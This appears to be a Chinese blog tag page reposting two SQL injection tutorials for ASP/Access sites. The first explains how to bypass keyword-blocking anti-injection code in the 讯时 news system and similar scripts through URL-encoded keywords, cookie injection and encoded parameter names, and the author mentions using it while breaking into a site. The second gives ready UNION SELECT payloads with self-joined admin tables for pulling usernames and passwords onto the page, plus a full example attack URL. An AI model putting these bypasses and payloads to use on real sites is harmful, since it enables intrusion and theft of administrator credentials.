Posts tagged 注入

前些阵子讯时系统爆出了很多洞，先看他的怎么写的，下面是从他的admin_conn.asp文件中找到的。

　　sss=LCase(request.servervariables(”QUERY_STRING”))
　　if instr(sss,”select”)<>0 or instr(sss,”inster”)<>0 or instr(sss,”delete”)<>0 or
　　instr(sss,”(”)<>0 or instr(sss,”‘or”)<>0 then
　　response.write “你的网址不合法”
　　response.end
　　end if
代码使用了 request.servervariables的方法来获得传递过来的数据，然后赋值给sss。再判断传递过来的sss变量中是否含有 select，inster等敏感的字符串，只要有就结束程序。给普通注入造成了极大的麻烦，需要有新的东西出现来突破这个防注入。

现已知的有两种方法：
1.使用URL编码我们传递的数据，比如select可以编码为selec%74（即将t转换为url编码），这样就可以实现注入了！
2.使用cookies注入。

先看看第1种怎么实现的吧。因为程序接受的参数使用的是request.servervariables，呵呵，这个方法和我们平时的request不太一样的，因为它接受的数据都会原封不动的接受的，比如我们传递了selec%74，那么这里sss里就会是selec%74，而不是已经解码的select 字符串了。当下面的判断语句来判断时会因为select<>selec%74而绕过检测！

第2种利用了request的cookie方法来传递数据，为什么呢?看程序的代码我们知道因为他只判断了使用 request.servervariables(”QUERY_STRING”)来接受的数据，我们如果用cookie来传递的话，程序当然不会去检测了，只要在前面的代码中找到一处使用request的方法接收变量的地方。这就是cookie的注射了。比如：前面有这样代码我们就可以实现cookie 注射了.这次代码在讯时admin_news_view.asp中截的。

　　<% 　　newsid=trim(request(”newsid”)) 　　sql = “select * from news where id=”&newsid 　　Set rs = Server.CreateObject(”ADODB.RecordSet”) 　　rs.Open sql,conn,1,1 　　title=rs(”title”) 　　dat=rs(”time”) 　　hit=rs(”hit”)+1 　　content=rs(”content”) 　　%>
使用了request接收，而它会依次的去用3种数据集合（Form，QueryString，cookie）去判断，所以我们可以使用cookie来提交我们构造的SQL语句了.这里就不在截图了，具体可以参考这篇文章《最新版讯时新闻发布系统惊爆cookie漏洞》

但是并不是所有的程序都这么另人兴奋的哦，上次入侵一个站时，就碰到了这种情况，找到了源码下来看，却没有突破这个防注入。代码如下：

　　sub check()
　　Fy_Url=Request.ServerVariables(”QUERY_STRING”)
　　Fy_a=split(Fy_Url,”&”)
　　redim Fy_Cs(ubound(Fy_a))
　　On Error Resume Next
　　for Fy_x=0 to ubound(Fy_a)
　　Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),”=”)-1)
　　Next
　　For Fy_x=0 to ubound(Fy_Cs)
　　If Fy_Cs(Fy_x)<>”” Then
　　If Instr(LCase(Request(Fy_Cs(Fy_x))),”‘”)<>0 or Instr(LCase(Request(Fy_Cs
　　(Fy_x))),”and”)<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),”select”)<>0 or Instr(LCase
　　(Request(Fy_Cs(Fy_x))),”union”)<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),”from”)<>0 or
　　Instr(LCase(Request(Fy_Cs(Fy_x))),” “)<>0 Then
　　response.Write(”嘿嘿，不要你注射！屏蔽了关键字，但是这个屏蔽程序却不好——如何突破呢？”)
　　Response.End
　　End If
　　End If
　　Next
　　end sub
这样的代码，都是用了Request.ServerVariables(”QUERY_STRING”)来接收的数据，但是你直接将注入的字符URL编码，会看到仍不能注射！

那到底怎么去突破呢?看下面！lake2大牛曾经写过一篇突破这种防注入的大作，这个方法也就是大牛发现的！ 写的很详细哦，我们就引用大牛的话来解释一下这个绕过机制。

“Request.ServerVariables(”QUERY_STRING”)是得到客户端提交的字符串，这里并不会自动转换url编码，哈哈，如果我们把name进行url编码再提交的话，呵呵，那就可以绕过检查了。”下面是我的理解，因为程序使用 Instr(LCase(Request(Fy_Cs(Fy_x))),”‘”)<>0这样的判断语句，它是判断了name的值即 value，而且使用request来接收数据的.前面我们如果在url里value我们用url编码后来提交，然后当值传递到这里，就又会被解码了，所以程序可以检测得到.注意，但它只是判断了name的值即value，但对name，可以看到没有判断，而它又是通过name这个变量名来判断SQL语句的，所以只要用url编码name就可以了，然后程序仍是去判断name的值，但是这次是i%64，会被转换为id，可是我们并没有赋值给id而是 i%64，呵呵，那么id的值它就会认为是空，就这样绕过了哦！

可以看出只要能保证前面接收的方式不能解码，后面判断的语句可以解码就可以绕过了。后来胡思乱想到了chr()函数，只是YY了一下…..也没成。

而且这里是不是也可以用cookie注射呢？我测试的时候没有成，可能找的不是用request接受的地方….

from：http://www.nuanyue.com/%E4%B8%80%E7%A7%8D%E9%98%B2%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81%E7%9A%84%E7%BB%95%E8%BF%87%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93.html

此方法解决%90注入得到表的不到字段的网站

我举动力文章的例子，他的是28个字段，加入admin表5个字段，那么

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin

* 就是5个字段？这样来爆admin里边的所有表名，但注意 * 确实代表了所有admin表的字段。如果正好比如username在可显示位置，他就会显示在页面上。

技术都有局限性 这个方法需要知道表名和一个字段名id，不需要其他字段，比如什么password username 。你要问他如果不在可显示位置么，通常不知道的是表名 表段名 可以通过查找后台登陆找到，这个就要看自己的了。

大家看看这个语句

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)

这个(admin as a inner join admin as b on a.id=b.id)是admin表自连接，这样from 后面的表就会成为字段数加倍的表，前面18+2*5 = 28 个字段 就是合法的。* 代表的字段就会拓宽 加大username password在可显示位置的几率。

如果不在怎么办？ 那么

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

大家是否觉得很疑惑 18+ 2 + 5*2 = 30 > 28 但这条语句是合法的

这个地方很关键，他为什么会是合法的语句，这个地方是技术核心 必须理解。前边是 30 后边是 28 怎么可能相等？因为a.id 和 b.id在 * 里是有的，那么计算机自动去掉重复的保持集合里元素的唯一性，这样一来虽然查询效果一样，但是*里的字段排列顺序却被打乱了！先后两次打乱 很有可能让username password偏移到可显示的位置。

如果还没成功 怎么办？

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)

雨中风铃注：怎么说呢，免去了猜列名的麻烦，但问题是如何恰好把用户名、密码显示在网页中，我试了试真的很麻烦，不过也算是一种思路吧。这里给个截图：

提交url：http://127.0.0.1/jie1/xijie.asp?id=1372%20union select a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on a.id=d.id)

from:http://www.sg758.cn/post/20.html